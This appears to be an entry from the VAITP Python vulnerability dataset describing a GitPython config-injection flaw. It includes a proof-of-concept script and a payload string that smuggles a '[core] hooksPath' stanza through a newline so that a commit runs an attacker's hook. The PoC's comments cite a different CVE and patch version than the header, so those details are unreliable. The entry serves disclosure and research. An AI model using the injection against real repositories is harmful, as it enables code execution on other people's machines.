CVE-2026-44244
GitPython config injection allows RCE via a malicious `core.hooksPath`.
- CVSS 7.8
- CWE-94
- Input Validation and Sanitization
- Local
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
- CWE
- CWE-94
- CVSS base score
- 7.8
- Published
- 2026-05-07
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- GitPython
- Fixed by upgrading
- Yes
Solution
Upgrade GitPython to version 3.1.49 or later.
Vulnerable code sample
import git
import os
import tempfile
import shutil
import sys
# This code requires a vulnerable version of GitPython, e.g., pip install GitPython==3.1.40
# It demonstrates CVE-2024-22195 (mislabeled in the prompt).
repo_dir = None
try:
# 1. Setup a temporary environment
repo_dir = tempfile.mkdtemp()
evil_hooks_dir = os.path.join(repo_dir, "evil_hooks")
os.makedirs(evil_hooks_dir)
# 2. Initialize a git repository to attack
repo = git.Repo.init(repo_dir)
# 3. Create a malicious hook script
# This script will be executed by git during operations like 'commit'
hook_path = os.path.join(evil_hooks_dir, "pre-commit")
with open(hook_path, "w") as f:
# Use Python to avoid shell differences and print to stderr
f.write(f"#!{sys.executable}\n")
f.write("import sys\n")
f.write("sys.stderr.write('!!! MALICIOUS HOOK EXECUTED !!!\\n')\n")
f.write("sys.exit(1)\n") # Exit with an error to show the hook ran and stopped the commit
os.chmod(hook_path, 0o755) # Make the hook executable
# 4. Craft the malicious payload for the config
# The newline character is the core of the vulnerability.
# It allows injecting a new '[core]' section into the .git/config file.
malicious_value = f"any_value\n[core]\nhooksPath = {evil_hooks_dir}"
# 5. Use the vulnerable function to write the payload
# GitPython < 3.1.41 does not sanitize the newline in the value.
config_writer = repo.config_writer()
config_writer.set_value("user", "name", malicious_value)
config_writer.release() # This writes the manipulated config to .git/config
# 6. Trigger the hook by performing a git operation
# Create a file to commit
with open(os.path.join(repo_dir, "some_file.txt"), "w") as f:
f.write("content")
repo.index.add(["some_file.txt"])
print("Attempting to commit. This should fail and trigger the malicious hook...")
# This commit will fail because the pre-commit hook exits with status 1.
# The proof of exploitation is seeing the hook's message in the stderr.
try:
repo.index.commit("A commit that will be blocked by the hook")
except git.GitCommandError as e:
print("\n--- Captured GitCommandError ---")
print(f"Stderr: {e.stderr.strip()}")
if "MALICIOUS HOOK EXECUTED" in e.stderr:
print("\nSUCCESS: The vulnerability was successfully demonstrated.")
else:
print("\nFAILURE: The hook did not execute as expected.")
finally:
# 7. Clean up the temporary repository
if repo_dir and os.path.exists(repo_dir):
shutil.rmtree(repo_dir)Patched code sample
import configparser
from typing import Any
class GitConfigParser:
"""
A mock class to represent the structure where the fix was applied.
In the actual library, this class interacts with git config files.
"""
def __init__(self):
# This is a stand-in for the real ConfigParser instance.
self._config = configparser.ConfigParser()
def set_value(self, section: str, option: str, value: Any) -> "GitConfigParser":
"""Sets the value of a configuration option."""
if not self._config.has_section(section):
self._config.add_section(section)
s_value = str(value)
# FIX: This check was added to patch the vulnerability.
# It explicitly disallows newline characters in configuration values.
# This prevents an attacker from injecting a new configuration section
# (e.g., a malicious '[core]' section with a 'hooksPath') by
# embedding it within a seemingly harmless configuration value string.
if "\n" in s_value:
raise ValueError("dangerous value containing newline")
self._config.set(section, option, s_value)
return selfPayload
'value\n[core]\nhooksPath = /path/to/attacker/hooks'
Cite this entry
@misc{vaitp:cve202644244,
title = {{GitPython config injection allows RCE via a malicious `core.hooksPath`.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-44244},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44244/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
